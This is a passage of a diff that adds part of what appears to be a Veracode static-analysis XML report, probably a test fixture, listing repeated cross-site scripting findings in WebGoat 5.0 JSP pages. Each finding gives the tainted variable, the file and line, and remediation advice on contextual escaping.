+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
